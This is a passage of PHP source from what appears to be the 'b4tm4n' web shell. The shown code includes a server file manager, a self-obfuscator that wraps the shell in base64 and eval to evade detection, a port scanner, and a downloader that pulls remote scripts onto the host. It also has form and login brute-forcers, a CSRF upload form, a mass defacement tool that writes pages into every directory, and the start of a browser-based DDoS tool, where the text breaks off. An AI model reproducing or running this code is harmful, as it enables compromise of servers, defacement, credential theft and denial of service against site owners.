<input type='text' name='newloc' value='%s'/>
<input type='submit' value='Process'/>
</form>",
$count_dirs,
$count_files,
$row,
$value,
$tmp,
$dir._);
}
if(any('xa',$_REQUEST)&&$_REQUEST['xa']=='option')
{
$files=array_filter(explode(',',$_REQUEST['tmp']));
$newloc=trim(@$_REQUEST['newloc']);
$succ=0;
$fail=0;
if($_REQUEST['action-option']=='copy')
{
if(file_exists($newloc)&&is_dir($newloc))
{
foreach($files as $file)
{
if(CopyRecursive($file,rtrim($newloc,_)._.basename($file)))
{
$succ++;
}
else
{
$fail++;
}
}
print "Success: $succ | Failed: $fail";
}
else
{
print "Target not exists !";
}
}
if($_REQUEST['action-option']=='move')
{
if(file_exists($newloc)&&is_dir($newloc))
{
foreach($files as $file)
{
if(MoveRecursive($file,rtrim($newloc,_)._.basename($file)))
{
$succ++;
}
else
{
$fail++;
}
}
print "Success: $succ | Failed: $fail";
}
else
{
print "Target not exists !";
}
}
if($_REQUEST['action-option']=='delete')
{
foreach($files as $file)
{
if(Remove($file))
{
$succ++;
}
else
{
$fail++;
}
}
print "Success: $succ | Failed: $fail";
}
if($_REQUEST['action-option']=='zip')
{
if(pathinfo($newloc)['extension']=='zip')
{
$zip=new ZipArchive;
if ($zip->open($newloc,ZipArchive::CREATE|ZipArchive::OVERWRITE)===TRUE)
{
foreach($files as $file)
{
if(is_dir($file))
{
$zip->addEmptyDir(basename($file));
$recur=new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($recur as $key => $val)
{
if(basename($key)!="..")
{
if(is_dir($key))
{
$zdir=str_replace($file,basename($file),realpath($key));
$zip->addEmptyDir($zdir);
}
elseif(is_file($key))
{
$zfile=str_replace($file,basename($file),realpath($key));
$zip->addFile(realpath($key),$zfile);
}
}
}
}
elseif(is_file($file))
{
$zip->addFile($file,basename($file));
}
}
$zip->close();
print 'Zip Created';
}
else
{
print 'Failed';
}
}
else
{
print 'Extension must Zip';
}
}
if($_REQUEST['action-option']=='unzip')
{
if(file_exists($newloc)&&is_dir($newloc))
{
foreach($files as $file)
{
if(pathinfo($newloc)['extension']=='zip')
{
$zip=new ZipArchive;
if ($zip->open($file)===TRUE)
{
$zip->extractTo($newloc);
$zip->close();
$succ++;
}
else
{
$fail++;
}
}
else
{
$fail++;
}
}
print "Success: $succ | Failed: $fail";
}
else
{
print "Target not exists !";
}
}
}
}
if($_REQUEST['x']=="find")
{
$recur=new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir),
RecursiveIteratorIterator::LEAVES_ONLY
);
if(any('find-value',$_REQUEST)&&!empty($_REQUEST['find-value']))
{
$result="";
$res_=0;
foreach ($recur as $key => $val)
{
if(basename($key)!="..")
{
if(strpos(realpath($key),$_REQUEST['find-value'])!== false)
{
$result.=sprintf("<tr>
<td></td>
<td><a href='?g=%s' title='%s' target='_blank'>%s</a></td>
<td><a href='?g=%s' title='%s' target='_blank'>%s</a></td>
<td><center>%s</center></td>
</tr>",
substr(realpath($key),0,strrpos(realpath($key),_)),
substr(realpath($key),0,strrpos(realpath($key),_)),
substr(realpath($key),0,strrpos(realpath($key),_)),
realpath($key),
realpath($key),
basename(realpath($key)),
GetFileTime(realpath($key),'modify')
);
$res_++;
}
}
}
printf("
<form class='new' method=POST action='?x=find'>
<input type='text' name='find-value' id='find-action' value='%s'/><input type='submit' name='find-button' value='Find'/>
<label style='margin-left:10px'><font class='on'>Find: '%s' | Found's: %s</font></label>
</form>
<div class='auto-number'>
<table class='table sortable'>
<thead>
<tr>
<th class='sorttable_nosort' width='15'>No.</th>
<th>Directory</th>
<th>Name</th>
<th>Modified</th>
</tr>
<tbody>%s</tbody>
</table>
</div>",$_REQUEST['find-value'],$_REQUEST['find-value'],$res_,$result);
}
else
{
print "<form class='new' method=POST action='?x=find'>
<input type='text' name='find-value'/><input type='submit' name='find-button' value='Find'/>
<label style='margin-left:10px'><font color='red'>Whoops, Nothing to Found's !</font></label>
</form>";
}
}
if($_REQUEST['x']=="update")
{
$link_update='https://raw.githubusercontent.com/k4mpr3t/b4tm4n/master/bat.php';
$current_version=2.7; //New Version Released
if($config['debug']==true)
{
$latest_version=$current_version+0.1; //Test Update latest version -/+ 0.1
}
else
{
$git_script=GetUrlContent($link_update);
$get_version=strpos($git_script,"current_version");
$version=substr($git_script,$get_version+16,3);
$latest_version=is_numeric($version)?$version:$current_version;
}
$status="";
if((float)$latest_version>(float)$current_version)
{
if($config['debug']==true)
{
$status.='New Version Available '.$latest_version.'<br>Setting Debug to False for Activate this Feature';
}
else
{
$status.='New Version Available '.$latest_version.'<br>Download -> [<font class="on"><a href="'.$link_update.'" target="_blank">link</a></font>]';
}
}
else
{
$status.='Latest Version '.$current_version;
}
Printf("<div id='update'>
<a href='https://www.gnu.org/licenses/gpl-3.0.txt' target='_blank' title='License'>
<img src='https://www.gnu.org/graphics/lgplv3-88x31.png'/>
</a><br><br>%s
</div>",$status);
}
if($_REQUEST['x']=="self-encryptor")
{
if($php_script=htmlentities(@file_get_contents(__FILE__)))
{
$asu=strpos($php_script,$_SESSION["action"]["password"]);
$temp=substr($php_script,$asu+48);
$rand="\$".substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"),0,rand(1,3));
$rand2="\$".substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"),0,rand(2,5));
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
$b64e=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
$b64d=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_l.$_m.$_j.$_k.$_l.$_m;
$b64=array(
'"base64_decode"',
'strrev("ed"."oce"."d_4"."6es"."ab")',
'strrev("e"."doc"."ed_"."46e"."sab")',
'"b"."as"."e6"."4_"."d"."ec"."o"."de"',
'"ba"."se"."6"."4_d"."e"."cod"."e"'
);
$rand_b64=array_rand($b64);
$rand3=$b64[$rand_b64];
$var1=$rand.'="'.$_SESSION["action"]["username"].':'.$_SESSION["action"]["password"].'";';
$var2=$rand2.'='.$rand3.';';
$var=array(
$var1.$var2,
$var2.$var1
);
$rand_var=array_rand($var);
$rand4=$var[$rand_var];
$self=preg_replace("/\\$c/",$rand,$temp); // Change Variable $c to Random
$src_='';
$src_.='<?php ';
$src_.=$rand4;
$src_.='eval('.$rand2.'("';
$src_.=$b64e(htmlspecialchars_decode($self));
$src_.='"))';
$src_.='?>';
$name=!empty($_REQUEST['name'])?$_REQUEST['name']:'bat_encrypt.php';
$file=dirname(__FILE__)._.$name;
$op=fopen($file,'w+');
fwrite($op,$src_);
fclose($op);
printf("<center class='on'>SELF ENCRYPT CREATED !!!</center>
<center class='on'>
Link -> <a href='%s' target='_blank'><u>%s</u></a>
</center>",GetUrlFromPath($file),$name);
}
else
{
print "<center class='off'>SELF ENCRYPT ENABLE !!!</center>";
}
}
}
/* START CUSTOM TOOLZ */
if(any("z",$_REQUEST))
{
$z=$_REQUEST['z'];
print MenuTools(array(
"target-map"=>array("title"=>"Target Map","ver"=>"2.0","auth"=>"k4mpr3t"),
"port-scanner"=>array("title"=>"Scan Port","ver"=>"1.0","auth"=>"k4mpr3t"),
"script-loader"=>array("title"=>"Script Loader","ver"=>"1.0","auth"=>"k4mpr3t"),
"encryptor"=>array("title"=>"Encryptor","ver"=>"1.1","auth"=>"k4mpr3t"),
"form-bruteforces"=>array("title"=>"Form Bruteforces","ver"=>"1.0","auth"=>"k4mpr3t"),
"login-bruteforces"=>array("title"=>"Login Bruteforces","ver"=>"1.0","auth"=>"k4mpr3t"),
"mass-tools"=>array("title"=>"Mass Tools","ver"=>"1.0","auth"=>"L0N3W0RM"),
"ddos-attack"=>array("title"=>"DDOS Attack","ver"=>"2.0","auth"=>"k4mpr3t"),
"csrf"=>array("title"=>"CSRF Online","ver"=>"2.0","auth"=>"L0N3W0RM"),
));
print "<div id='tools'>";
if(empty($z))
{
printf("<div id='thanks'>
<h2>Nothing Is Secure...</h2>
<h3>WHY SO serious ?!</h3>
</div>");
}
if($z=="target-map")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
printf("<div id='target-map'>
<form onsubmit='return false;' class='new'>
<input type='text' id='map-ip' value='%s'/>
<input type='submit' value='Trace' onclick=\"return getAjax(true,'target-info','POST','?z=target-map&ip='+document.getElementById('map-ip').value);\"/><br>
</form>
</div>
<div id='target-info' class='result'></div>",gethostbyname(http_host));
if(any("ip",$_REQUEST))
{
ob_clean();
$ip=!empty($_REQUEST['ip']) ? $_REQUEST['ip'] : gethostbyname(http_host);
$valid=filter_var($ip,FILTER_VALIDATE_IP) or die('Invalid IP Address');
if($_REQUEST['ip']==gethostbyname(http_host))
{
$url=B64D("zSI9xWleO7odODUdzH4qy79ezmMeyr1=");
$geoip=GetUrlContent($url);
$json=json_decode($geoip,true);
}
else
{
$url=sprintf(B64D("zSI9xWleO7odODUdzH4qy79ezmMeyr1=")."%s",$ip);
$geoip=GetUrlContent($url);
$json=json_decode($geoip,true);
}
$url=sprintf(B64D("zSI9xSN3Ob0gBCYaOnwey7whAH4kwX0gBCYa")."?q=%s,%s&z=10&output=embed",$json['lat'],$json['lon']);
printf("<div class='divide'>
<div class='divide-left'>
<table class='table'>
<tr><td>AS</td><td>%s</td></tr>
<tr><td>City</td><td>%s</td></tr>
<tr><td>Country</td><td>%s</td></tr>
<tr><td>Country Code</td><td>%s</td></tr>
<tr><td>ISP</td><td>%s</td></tr>
<tr><td>Latitude</td><td>%s</td></tr>
<tr><td>Logitude</td><td>%s</td></tr>
</table>
</div>
<div class='divide-left'>
<table class='table'>
<tr><td>Origin</td><td>%s</td></tr>
<tr><td>IP</td><td>%s</td></tr>
<tr><td>Region</td><td>%s</td></tr>
<tr><td>Region Name</td><td>%s</td></tr>
<tr><td>Timezone</td><td>%s</td></tr>
<tr><td>Zip</td><td>%s</td></tr>
<tr><td>Status</td><td>%s</td></tr>
</table>
</div>
</div>
<iframe src='%s' width='100%%' height='345' frameBorder='0'><iframe>",
$json['as'],
$json['city'],
$json['country'],
$json['countryCode'],
$json['isp'],
$json['lat'],
$json['lon'],
$json['org'],
$json['query'],
$json['region'],
$json['regionName'],
$json['timezone'],
$json['zip'],
$json['status'],
$url);
exit;
}
}
if($z=="port-scanner")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
printf("<div id='port-scan'>
<form onsubmit='return false;' class='new'>
<label>Host Port</label><input type='text' id='ip-port' value='%s'/><br>
<label>Start Port</label><input type='text' id='start-port' value='1'/><br>
<label>End Port</label><input type='text' id='end-port' value='65535'/><br>
<label>Methode</label><select id='scan-port'><option value='1'>socket_connect</option><option value='2'>fsockopen</option></select><br>
<input type='submit' onclick=\"return getAjax(true,'port-result','POST','?z=port-scanner&x=scan-port&ip='+document.getElementById('ip-port').value+'&sp='+document.getElementById('start-port').value+'&ep='+document.getElementById('end-port').value+'&mtd='+document.getElementById('scan-port').value);\" value=Scan />
<input type='submit' onclick=\"return ajaxAbort(true,'port-result')\" value=Cancel />
</form>
</div>
<div id='port-result' class='result'></div>",gethostbyname(http_host));
if(any("x",$_REQUEST)&&$_REQUEST['x']=="scan-port")
{
ob_clean();
$host=$_REQUEST['ip'];
$from=$_REQUEST['sp'];
$to =$_REQUEST['ep'];
$mtd =$_REQUEST['mtd'];
switch($mtd)
{
case '1':
if(function_exists('socket_create'))
{
$socket=@socket_create(AF_INET ,SOCK_STREAM ,SOL_TCP);
for($conn_port=$from;$conn_port <=$to;$conn_port++)
{
$conn=@socket_connect($socket ,$host,$conn_port);
if($conn)
{
print "<br>port $conn_port open";
socket_close($socket);
$socket=@socket_create(AF_INET ,SOCK_STREAM ,SOL_TCP);
}
}
}
else
{
print "Error socket_connect<br>";
}
break;
case '2':
for($conn_port=$from;$conn_port <=$to;$conn_port++)
{
$conn=@fsockopen($host,$conn_port);
if($conn)
{
print "<br>port $conn_port open";
fclose($conn);
}
}
break;
}
print "<br>Scan Finish.";
exit;
}
}
if($z=="script-loader")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
$path=dirname(__FILE__)._.'script-loader';
if(!is_dir($path)) mkdir($path,0755);
$recur=new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path),
RecursiveIteratorIterator::LEAVES_ONLY
);
$result="";
foreach ($recur as $key => $val)
{
if(basename($key)!=".."&&basename($key)!=".")
{
$result.=sprintf("<tr>
<td></td>
<td><a href='%s' target='_blank'>%s</a></td>
<td><center>%s</center></td>
</tr>",
GetUrlFromPath(realpath($key)),
basename(realpath($key)),
GetFileTime(realpath($key),'modify')
);
}
}
printf("<div id='script-loader'>
<div class='divide'>
<div class='divide-left'>
<form onsubmit='return false;' class='new'>
<label>Url</label><input type='text' id='url-source' value=''/><br>
<label>Filename</label><input type='text' id='file-name' value=''/><br>
<input type='submit' onclick=\"return getAjax(true,'download-result','POST','?z=script-loader&url='+document.getElementById('url-source').value+'&filename='+document.getElementById('file-name').value);\"/><br>
<div id='download-result' class='result'></div>
</form>
</div>
<div class='divide-right'>
<fieldset>
<legend>List's</legend>
<div class='auto-number'>
<table class='table'>
<thead><tr><th>No.</th><th>Name</th><th>Modified</th>
<tbody>%s</tbody>
</table>
</div>
</fieldset>
</div>
</div>
</div>",$result);
if(any("url",$_REQUEST)&&any("filename",$_REQUEST))
{
ob_clean();
$url=$_REQUEST['url'];
$filename=$_REQUEST['filename'];
$dest=rtrim($path,_)._.$filename;
if(GetUrlExists($url)&&!empty($filename))
{
if(GetDownloadUrl($url,$dest))
{
$url=GetUrlFromPath($dest);
printf("Success -> <a href='$url' target='_blank'><u>Link</u></a>");
}
else
{
print "<br>Failed";
}
print "<br>Finish";
}
else
{
print "<br>Mistakes";
}
exit;
}
}
if($z=="encryptor")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
printf("<div id='script-loader'>
<form onsubmit='return false;' class='new'>
<div class='hash-control'>
<div class='hash'>
<input type='radio' name='encr' value='basic' checked><label>Basic</label>
<select id='basic-hash'>
<option value='md5'>Md5</option>
<option value='asc'>Char</option>
<option value='chr'>Ascii</option>
<option value='sha1'>Sha1</option>
<option value='crc32'>Crc32</option>
<option value='B64E'>B64E</option>
<option value='B64D'>B64D</option>
<option value='urlencode'>URL Encode</option>
<option value='urldecode'>URL Decode</option>
<option value='strlen'>String Length</option>
<option value='strrev'>String Reverse</option>
<option value='base64_encode'>Base64 Encode</option>
<option value='base64_decode'>Base64 Decode</option>
<option value='entties'>Htmlentities</option>
<option value='spechar'>Htmlspecialchars</option>
</select>
</div>
<div class='hash'>
<input type='radio' name='encr' value='extra'><label>Extra</label>
<select id='extra-hash'>
<option value='asc-hex'>Ascii => Hex</option>
<option value='asc-bin'>Ascii => Binary</option>
<option value='hex-asc'>Hex => Ascii</option>
<option value='hex-bin'>Hex => Binary</option>
<option value='bin-asc'>Binary => Ascii</option>
<option value='bin-hex'>Binary => Hex</option>
</select>
</div>
<div class='hash'>
<input type='radio' name='encr' value='crypt'><label>Crypt</label>
<input type='text' id='crypt-salt' name='salt' placeholder='\$alt'/>
</div>
<div class='hash'>
<input type='radio' name='encr' value='hash'><label>Hash</label>
<select id='hash-hash'><option value='md2'>md2</option><option value='md4'>md4</option><option value='md5'>md5</option><option value='sha1'>sha1</option><option value='sha256'>sha256</option><option value='sha384'>sha384</option><option value='sha512'>sha512</option><option value='ripemd128'>ripemd128</option><option value='ripemd160'>ripemd160</option><option value='ripemd256'>ripemd256</option><option value='ripemd320'>ripemd320</option><option value='whirlpool'>whirlpool</option><option value='tiger128,3'>tiger128,3</option><option value='tiger160,3'>tiger160,3</option><option value='tiger192,3'>tiger192,3</option><option value='tiger128,4'>tiger128,4</option><option value='tiger160,4'>tiger160,4</option><option value='tiger192,4'>tiger192,4</option><option value='snefru'>snefru</option><option value='gost'>gost</option><option value='adler32'>adler32</option><option value='crc32'>crc32</option><option value='crc32b'>crc32b</option><option value='haval128,3'>haval128,3</option><option value='haval160,3'>haval160,3</option><option value='haval192,3'>haval192,3</option><option value='haval224,3'>haval224,3</option><option value='haval256,3'>haval256,3</option><option value='haval128,4'>haval128,4</option><option value='haval160,4'>haval160,4</option><option value='haval192,4'>haval192,4</option><option value='haval224,4'>haval224,4</option><option value='haval256,4'>haval256,4</option><option value='haval128,5'>haval128,5</option><option value='haval160,5'>haval160,5</option><option value='haval192,5'>haval192,5</option><option value='haval224,5'>haval224,5</option><option value='haval256,5'>haval256,5</option></select>
<input type='checkbox' id='hash-raw'/> Raw
</div>
<div class='hash'>
<input type='submit' onclick=\"
url='';
textencode=window.btoa(document.getElementById('hashtext').value);
radios=document.getElementsByName('encr');
for(var i=0,length=radios.length;i<length;i++){
if (radios[i].checked){
switch(radios[i].value){
case 'basic':
url='?z=encryptor&opt=basic&hash='+document.getElementById('basic-hash').value+'&text-encode='+textencode;
break;
case 'extra':
url='?z=encryptor&opt=extra&hash='+document.getElementById('extra-hash').value+'&text-encode='+textencode;
break;
case 'crypt':
url='?z=encryptor&opt=crypt&salt='+document.getElementById('crypt-salt').value+'&text-encode='+textencode;
break;
case 'hash':
url='?z=encryptor&opt=hash&hash='+document.getElementById('hash-hash').value+'&raw='+document.getElementById('hash-raw').checked+'&text-encode='+textencode;
break;
}
break;
}
}
return getAjax(false,'hashresult','POST',url);
\"/>
<input type='submit' onclick=\"
tempi=document.getElementById('hashresult').value;
tempi1=document.getElementById('hashtext').value;
document.getElementById('hashtext').value=tempi.trim();
document.getElementById('hashresult').value=tempi1.trim();
\" value='Swap'/>
</div>
</div>
<div class='hash-capture'>
<div class='hash-capture-left'>
<label>String</label><textarea id='hashtext'></textarea>
<input type='submit' onclick=\"
document.getElementById('hashtext').value='';
\" value='Clear'/>
</div>
<div class='hash-capture-right'>
<label>Result</label><textarea id='hashresult'></textarea>
<input type='submit' onclick=\"
document.getElementById('hashresult').value='';
\" value='Clear'/>
</div>
</div>
</form>
</div>");
function chr_asc($str){
$asc='';
for($i=0;$i<strlen($str);$i++)
$asc.=ord($str{$i}).' ';
return rtrim($asc);
}
function asc_chr($asc){
$str='';
if (strpos($asc,' ')){
$exps=explode(' ',$asc);
foreach($exps as $exp)
$str.=chr($exp);
}else{
$str=chr($asc);
}
return $str;
}
function asc_hex($asc){
$hex='';
for ($i=0;$i<strlen($asc);$i++)
$hex.=sprintf("%02x",ord(substr($asc,$i,1)));
return $hex;
}
function hex_asc($hex){
$asc='';
for ($i=0;$i<strlen($hex);$i+=2)
$asc.=chr(hexdec(substr($hex,$i,2)));
return $asc;
}
function hex_bin($hex){
$bin='';
for($i=0;$i<strlen($hex);$i++)
$bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
return $bin;
}
function bin_hex($bin){
$hex='';
for($i=strlen($bin)-4;$i>=0;$i-=4)
$hex.=dechex(bindec(substr($bin,$i,4)));
return strrev($hex);
}
function asc_bin($asc){
$hex=asc_hex($asc);
return hex_bin($hex);
}
function bin_asc($bin){
$hex=bin_hex($bin);
return hex_asc($hex);
}
if(any("opt",$_REQUEST))
{
ob_clean();
$opt=$_REQUEST['opt'];
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
$b64e=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
$b64d=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_l.$_m.$_j.$_k.$_l.$_m;
$text=$b64d($_POST['text-encode']);
if ($opt=='basic')
{
$hash=$_REQUEST['hash'];
switch($hash)
{
case "md5":print md5($text);break;
case "sha1":print sha1($text);break;
case "chr":print asc_chr($text);break;
case "asc":print chr_asc($text);break;
case "crc32":print crc32($text);break;
case "strlen":print strlen($text);break;
case "strrev":print strrev($text);break;
case "urlencode":print urlencode($text);break;
case "urldecode":print urldecode($text);break;
case "entties":print htmlentities($text);break;
case "spechar":print htmlspecialchars($text);break;
case "base64_encode":print $b64e($text);break;
case "base64_decode":print $b64d($text);break;
case "B64E":print B64E($text);break;
case "B64D":print B64D($text);break;
}
}
elseif($opt=='extra')
{
$hash=$_REQUEST['hash'];
switch($hash)
{
case "chr-asc":print str_asc($text);break;
case "asc-chr":print asc_str($text);break;
case "asc-hex":print asc_hex($text);break;
case "hex-asc":print hex_asc($text);break;
case "hex-bin":print hex_bin($text);break;
case "bin-hex":print bin_hex($text);break;
case "asc-bin":print asc_bin($text);break;
case "bin-asc":print bin_asc($text);break;
}
}
elseif($opt=='crypt')
{
$salt=$_REQUEST['salt'];
print crypt($text,$salt);
}
elseif($opt=='hash')
{
$hash=$_REQUEST['hash'];
$raw=$_REQUEST['raw'];
if($raw==true)
{
print hash($hash,$text,true);
}
else
{
print hash($hash,$text);
}
}
exit;
}
}
if($z=="form-bruteforces")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
$exp=array(
'{',
'"name":"Handsome",',
'"email":"[email protected]",',
'"subject":"WHOOPS YOU GOT E-MAIL ?!",',
'"message":"HA HA HA HA HA HA HA HA",',
'}');
printf("<div class='divide'>
<div class='divide-left'>
<form onsubmit='return false;' class='new'>
<label>Url Action</label><input type='text' id='form-url' placeholder='http://'/><br>
<label>Count's</label><input type='number' id='form-count' value='100' min='10' autocomplete='off'/><br>
<label>Parameter (JSON)</label>
<textarea id='form-parameter'>%s</textarea>
<input type='submit' onclick=\"return ajaxAbort(true,'form-result')\" value=Cancel />
<input type='submit' value='Attack' onclick=\"return getAjax(true,'form-result','POST','?z=form-bruteforces&url='+document.getElementById('form-url').value+'¶meter='+document.getElementById('form-parameter').value+'&count='+document.getElementById('form-count').value);\"/><br>
</form>
</div>
<div class='divide-right'>
<fieldset>
<legend>Result's</legend>
<div id='form-result' class='result'></div>
</fieldset>
</div>
</div>",implode($exp,"
"));
if(any("url",$_REQUEST)&&any("parameter",$_REQUEST))
{
ob_clean();
$start=$succ=$fail=0;
$url=$_REQUEST['url'];
$count=$_REQUEST['count'];
$parameter=$_REQUEST['parameter'];
$content=json_decode($parameter,true);
if(!is_array($content))$content=array();
do {$start++;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($content));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$result=curl_exec($ch);
$httpcode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if(curl_error($ch)) echo curl_error($ch);
curl_close($ch);
if($httpcode==200)
{
$succ++;
}
else
{
$fail++;
}
if($start==$count)
{
echo "Success: $succ<br>Failed: $fail<br>Messages: ".htmlspecialchars($result);
}
}while($start<=$count);
exit;
}
}
if($z=="login-bruteforces")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
printf("<div id='login-bruteforces'>
<div class='divide-left'>
<form onsubmit='return false;' class='new'>
<label>Url Action</label><input type='text' id='login-url' placeholder='http://'/><br>
<label>User List</label><input type='text' id='login-user' placeholder='admin' value='admin'/><br>
<label> </label><input type='text' id='login-username' placeholder='User Fieldname'/><br>
<label>Pass List</label><input type='text' id='login-passlist' placeholder='http://'/><br>
<label> </label><input type='text' id='login-passname' placeholder='Pass Fieldname'/><br>
<input type='submit' onclick=\"return getAjax(true,'login-result','POST',
'?z=login-bruteforces'+
'&url='+document.getElementById('login-url').value+
'&user='+document.getElementById('login-user').value+
'&userfield='+document.getElementById('login-username').value+
'&passfield='+document.getElementById('login-passname').value+
'&passlist='+document.getElementById('login-passlist').value);\"/><br>
</form>
</div>
<div class='divide-right'>
<fieldset>
<legend>Result's</legend>
<div id='login-result' class='result'></div>
</fieldset>
</div>
</div>");
if(any("url",$_REQUEST)&&any("user",$_REQUEST))
{
ob_clean();
$url=$_REQUEST['url'];
$user=$_REQUEST['user'];
$file=GetUrlExists($_REQUEST['passlist'])?
GetUrlContent($_REQUEST['passlist']):
$_REQUEST['passlist'];
$words=explode("
",$file);
$length=count($words);
foreach ($words as $index => $word)
{
$parameter=http_build_query(
array(
$_REQUEST['userfield'] => $user,
$_REQUEST['passfield'] => $word,
'Submit' => 'Submit',
)
);
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($ch,CURLOPT_POSTFIELDS,$parameter);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$ra=curl_exec($ch);
$st=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if(curl_error($ch)) echo curl_error($ch);
curl_close($ch);
if ($st==200)
{
echo "FOUND'S: $user:$word<br>";
exit;
}
else
{
echo htmlspecialchars($ra);
}
}
exit;
}
}
if($z=="csrf")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
echo "<form method=post><input type=text name=one placeholder= http://site.com/[path]/exploit><br><br>";
echo "<input type=text name=two placeholder= file,filename,files,file[],Filedata,qqfile><br><br><input type=submit value=Lock!></form>";
$post = $_POST['one'];
$text = $_POST['two'];
if ($_POST==true){
echo "<form method=post enctype=multipart/form-data action=".$post.">";
echo "<input type=file name=".$text.">";
echo "<input type=submit value=Upload!>";
}
}
if($z=="mass-tools")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
echo "<center><form method='POST'>";
echo "Base Dir : <input type='text' name='base_dir' size='50' value='".getcwd ()."'><br><br>";
echo "File Name : <input type='text' name='file_name' value='index.php'><br><br>";
echo "Your Index : <br><textarea style='width: 685px; height: 330px;' name='index'>//Put Your Index Here</textarea><br>";
echo "<input type='submit' value='Start'></form></center>";
if (isset ($_POST['base_dir']))
{
if (!file_exists ($_POST['base_dir']))
die ($_POST['base_dir']." Not Found !<br>");
if (!is_dir ($_POST['base_dir']))
die ($_POST['base_dir']." Is Not A Directory !<br>");
@chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
$files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
foreach ($files as $file):
if ($file != "." && $file != ".." && @filetype ($file) == "dir")
{
$index = getcwd ()."/".$file."/".$_POST['file_name'];
if (file_put_contents ($index, $_POST['index']))
echo "$index    <span style='color: green'>OK</span><br>";
}
endforeach;
}
}
if($z=="ddos-attack")
{
print "<div class='tools-header'>
<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
<h3> by: ".$menu_tools[$z]['auth']."</h3>
</div>";
printf('<script type="text/javascript">
window.onload=function(){
startTime();
var interval;
var xhttp;
var requestsNode=document.getElementById("requests"),
successNode=document.getElementById("success"),
proccessNode=document.getElementById("proccess"),
targetNode=document.getElementById("target"),
attack=document.getElementById("attack"),
method=document.getElementById("method"),
size=document.getElementById("size"),
time=document.getElementById("time"),
stamp=document.getElementById("stamp")
uagent=document.getElementById("uagent")
referer=document.getElementById("referer")
origin=document.getElementById("origin")
var requests=0,
succeeded=0,
proccess=0;
var makeHttpRequest=function(){
var data=new FormData();
var buff=new ArrayBuffer(65536);
var xhrx=new XMLHttpRequest();
var agent =["Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0"];
randomize=function(arr){
rand=Math.floor((Math.random()*arr.length));
return arr[rand];}
xhrx.open(method.value,targetNode.value,true);
if (uagent.checked) xhrx.setRequestHeader("user-agent",randomize(agent));
if (referer.checked) xhrx.setRequestHeader("referer",targetNode.value);
if (origin.checked) xhrx.setRequestHeader("origin","*");
